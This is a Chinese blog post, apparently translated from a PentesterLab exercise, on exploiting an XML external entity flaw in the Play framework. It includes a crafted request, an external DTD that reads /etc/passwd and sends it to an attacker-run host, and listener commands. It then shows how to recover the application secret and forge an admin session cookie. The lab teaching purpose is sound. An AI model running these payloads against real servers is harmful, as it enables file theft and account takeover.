记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

Play框架的XML Entity Exploit

2015-11-03 13:55

本渗透测试练习提供专门的练习平台,大家可以在pentesterLab中下载VM镜像,还可以读一下原文英文教程。

介绍

本课程在只用框架中描述了XML entity漏洞的利用,这个漏洞可以的达到在任意目录检索任意的文件和列表的目的。

有趣的是,这个bug是完全透明的,并可可以很长时间都没有被发现。对这个bug进行黑盒测试,你需要知道你想要寻找的目录或者文件,如果你想不看教程试试自己的本领,当然可以,但是还是建议你先看这里的(英文且需要翻墙)。

Play Framework

这个渗透框架是一个web的框架,在这个框架中,开发者可以快速的使用java或者scala编译开发web应用。这样可以有序管理代码,并且url可以像Ruby-on-Rails一样被映射。

就像Ruby-on-Rails,当收到Http请求时,Play框架管理多种文本类型。因此应用会非常简单并且与XML文件没有关联,这仅仅是一个登陆页面。然而,既然Play框架可以自动解析XML请求,我们就能使用这个bug去读取任意的文件。 

缺点:

当解析xml文件时,最重要的安全检查就是确保xml Entity不可用,XML实体可以告诉XML解析器去匹配特定内容:

1. 从文件系统
2. 从web服务器(HTTP,HTTPS)
3. 或者从一个FTP服务器上

这显然可以被攻击者利用来查看应用上的敏感的信息(比如路径,密码,源代码等等)

Exploition

我们如何来利用这个漏洞呢?请看下图!

我比较喜欢的方法(这个是一个黑盒测试),有四个相邻的终端。

1. 第一个终端:发送初始化请求。(step1)

2. 第二个终端:发送DTD。(step2&3)

3. 第三个终端:浏览被发送到服务器上的信息。

4. 第四个终端:调试

初始化请求—第一步

首先,我们需要发送一个正确的http请求,最简单的方法就是写一个小脚本去连接服务器。然而我们并需要管回复,但是我们仍然可以所以目标。你可以使用代理或者手动netcat来做。但是如果你用netcat的话就需要手动设置Centen-Length Header的长度了。

初始化信息的请求必须是POST请求,这样可以确保框架可以解析请求包。在这个web应用中,我们尝试登录的时候,一个这样的POST消息就发送出去了。

我们需要修改这个请求来发送XML,这样我们就需要做下面的工作。

1. 删掉没用的东西

2. 在消息包中添加XML信息。

3. 改变Centent-Type字段(大家都知道这是要干嘛的喔)

于是我们就改成了如下的样子:

POST /login HTTP/1.1
Host: vulnerable
Connection: close
Content-Type: text/xml
Content-Length: 97
 
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://192.168.159.1:3000/test.dtd">
<foo>&e1;</foo>
本地DTD:http://192.168.159.1:3000/test.dtd

现在我们有了想要发送的数据包(包含XML),我们可以把它发送到服务器了,如果进行的顺利的话,服务器将会相应一个400错误,因为不能索引DTD。

Serving the DTD

为了使用DTD或者其他的文件,我们需要一个web服务器,这可以在任何一台服务器上做到,然而你将需要能看见是否服务器取回DTD。在真实的场景中,目标服务器也许不能进入你自己的的服务器,所以你得有办法解决这个问题:

最简单的办法就是:

1.在前台Run一个小型的web服务器。我个人比较喜欢使用webrisk,并且留一个Shell来随时启动web服务器。

Bash:alias web="ruby -rwebrick -e's=WEBrick::HTTPServer.new(:Port => 3000, :DocumentRoot => Dir.pwd);
trap(\"INT\"){s.shutdown};s.start'"

2.运行web服务器的同时使用tail –f来列出收到的每一个请求。

如果你使用了上面的别名,不出意外你能看到下面这些东西:

% web
[2015-03-31 08:19:28] INFO  WEBrick 1.3.1
[2015-03-31 08:19:28] INFO  ruby 1.9.3 (2012-12-25) [x86_64-darwin12.2.1]
[2015-03-31 08:19:28] WARN  TCPServer Error: Address already in use - bind(2)
[2015-03-31 08:19:28] INFO  WEBrick::HTTPServer#start: pid=6028 port=3000

如果你成功了,记得检查一下你使用浏览器来看你的web网页的时候下面的log出现在shell中:

localhost - - [31/Mar/2015:08:20:46 AEDT] "GET /test.dtd HTTP/1.1" 200 153
http://localhost:3000/ -> /test.dtd

使用下面的DTD,这样就能强制发送给你这些消息了:

<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://192.168.159.1:3001/BLAH?%p1;'>">
%p2;

这个DTD将会强迫XML解析器读取/etc/passwd中的内容并且把它的值传给p1. 然后接着创造另一个变量p2,这个变量将会包含一个含有p1的值恶意连接。然后使用%p2打印p2的值,这样,在解析了DTD的时候,你就会看到这个东西了:

<!ENTITY e1 SYSTEM 'http://192.168.159.1:3001/BLAH?[/etc/passwd]'>

[/etc/passwd]这里面的内容就是/etc/passwd中的内容。我们回顾一下我们刚开始发送的数据包。数据包包含了一个索引:e1: <foo>&e1;</foo>

一旦服务器完成DTD过程,就回释放掉到e1的索引,并且发送/etc/passwd到你的服务器上。

第五步,浏览信息

最后我们需要接受信息,我们可以这样来做:

1. netcat –l –p 3001 但是你每次进入TCP端口时都需要重启进程。
2. socat TCP-LISTEN:3001,reuseaddr,fork – 这条命令让第一条请求到达之后端口不被关掉,并且阻塞后面的进程。

于是,现在万事俱备了!

 

看右上角,密码已经出现了!

GET /BLAH?root:x:0:0:root:/root:/bin/sh%0Alp:x:7:7:lp:/var/spool/lpd:/bin/sh%0Anobody:x:65534:65534:nobody:/nonexistent:/bin/false%0Atc:x:1001:50:Linux%20User,,,:/home/tc:/bin/sh%0Apentesterlab:x:1000:50:Linux%20User,,,:/home/pentesterlab:/bin/sh%0Aplay:x:100:65534:Linux%20User,,,:/opt/play-2.1.3/xxe/:/bin/false%0Amysql:x:101:65534:Linux%20User,,,:/home/mysql:/bin/false%0A HTTP/1.1
User-Agent: Java/1.7.0-internal
Host: 192.168.159.1:3001
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

那么接下来,我们来谈谈如何在互联网中探测这种漏洞:

首先,在互联网中我们不能保证服务器允许回连。为了寻找这种漏洞(并且服务器解析了外部名),你可以使用DNS。 

为了达成目的,你只需要安装一个DNS服务来检测log就可以了,然后你可以使用XML Entity来指向你的域名:例如http://rand0m123.blahNaNl.io,把信息发送出去。如果这个服务器有这种漏洞(可以解析外部DNS名),你将会看到来自你的目标的DNS解析请求。

寻找私密URL:

现在一切正常,我们需要寻找到私密URL,Play框架使用一个route文件来寻找那些可用的URL。我们需要找到这个文件来得到私密URL。

一般方法就是去找应用的位置。我们可以尝试读取/proc/self/environ这个目录。然而,这些许并没有什么卵用。因为XML解析器不能读proc下面的文件(可能是因为使用了DataInputStream)

如果我们想使用老办法/etc/passwd,并且把它URL编码,我们就会看到Play User显示:

% irb
1.9.3-p362 :001 > require 'uri'
 => true
1.9.3-p362 :002 > puts URI.decode("GET /BLAH?root:x:0:0:root:/root:/bin/sh%0Alp:x:7:7:lp:/var/spool/lpd:/bin/sh%0Anobody:x:65534:65534:nobody:/nonexistent:/bin/false%0Atc:x:1001:50:Linux%20User,,,:/home/tc:/bin/sh%0Apentesterlab:x:1000:50:Linux%20User,,,:/home/pentesterlab:/bin/sh%0Aplay:x:100:65534:Linux%20User,,,:/opt/play-2.1.3/xxe/:/bin/false%0Amysql:x:101:65534:Linux%20User,,,:/home/mysql:/bin/false%0A HTTP/1.1")
GET /BLAH?root:x:0:0:root:/root:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/false
tc:x:1001:50:Linux User,,,:/home/tc:/bin/sh
pentesterlab:x:1000:50:Linux User,,,:/home/pentesterlab:/bin/sh
play:x:100:65534:Linux User,,,:/opt/play-2.1.3/xxe/:/bin/false
mysql:x:101:65534:Linux User,,,:/home/mysql:/bin/false

这个user的home文件夹位于/opt/play-2.1.3/xxe/,因此这里面一定有我们需要的东西。

因为XML解析器的不同,我们有可能解析到一个目录列表。唯一的方法就是去尝试!!!接下来我们把DTD文件指向/opt/play-2.1.3/xxe/:

<!ENTITY % p1 SYSTEM "file:///opt/play-2.1.3/xxe/">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://192.168.159.1:3001/BLAH?%p1;'>">
%p2;

接下来我们就能看到下面的内容了:

GET /BLAH?.gitignore%0A.settings%0Aapp%0Aconf%0Alogs%0Aproject%0Apublic%0AREADME%0ARUNNING_PID%0Atarget%0Atest%0A HTTP/1.1

解码结果如下:

GET /BLAH?.gitignore
.settings
app
conf
logs
project
public
README
RUNNING_PID
target
test
 HTTP/1.1

这样我们就可以找到conf/routes。一旦你成功查看了routes文件,你就能可以进入秘密URL了。

干预Session:

另一个Play application重要的文件就是application.conf,这个文件包含了登陆session的密码。这个文件通常在conf文件夹中,一旦你拥有这个文件,你就可以轻易的登陆了。 

首先,你需要拿到conf/application.conf这个文件(使用教程提供的方法),然后你需要使用这个文件来伪造session,为了做到这一点我们需要了解一下session都有些什么东西。我们可以拿到application的源代码,来理解登陆逻辑。 

基于conf/routes文件,我们知道java中的方法:controlers.Application.login在我们提交表单的时候被调用。一般来说这个源码在app/controllers/Application.java中(或者.scala)。 

一旦我们拿到了controller的元大吗我们就可以看到session是如何被管理的,例如下面的代码:

      User user = User.findByUsername(username);
      if (user!=null) {
          if (user.password.equals(md5(username+":"+password) )) {
            session("user",username);
            return redirect("/");

我们将使用admin给user赋值来伪造一个session。 

如果了解过Play Session Inject(url贴上)的话,你就会惊奇的发现Play的session内部已经改变了。

以前是这样的
signature-%00name1:value1%00%00name2:value2%00
在这个Play的版本中
signature-name1=value1&name2=value2

代码用法在framework/src/play/src/main/scala/play/api/mvc/Http.scala中:

    def encode(data: Map[String, String]): String = {
      val encoded = data.map {
        case (k, v) => URLEncoder.encode(k, "UTF-8") + "=" +
URLEncoder.encode(v, "UTF-8")
      }.mkString("&")
      if (isSigned)
        Crypto.sign(encoded) + "-" + encoded
      else
        encoded
    }

我们需要添加变量user=admin
最后我们可以登陆这个session,源代码如下:

  def sign(message: String, key: Array[Byte]): String = {
    val mac = Mac.getInstance("HmacSHA1")
    mac.init(new SecretKeySpec(key, "HmacSHA1"))
    Codecs.toHexString(mac.doFinal(message.getBytes("utf-8")))
  }

在Ruby中,我们可以这样使用:

KEY = "[KEY FOUND IN conf/application.conf]"
def sign(data)
  OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, KEY,data)
end

最后一步就是知道session的cookie名,既然可以在conf/application.conf中被改变,默认的名字就是PLAY_SESSION.在浏览器中设置这些cookie之后,我们可以看见我们作为admin已经登陆了。

结论
这个练习教我们如何使用Play框架中的XML entity的漏洞。这个漏洞相当有趣,因为它以一种和开发者完全相反的方式去影响Play框架。

* 作者:VillanCh,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

知识来源: www.freebuf.com/vuls/83599.html

阅读:142951 | 评论:0 | 标签:漏洞 渗透测试 exp

想收藏或者和大家分享这篇好文章→复制链接地址

“Play框架的XML Entity Exploit”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云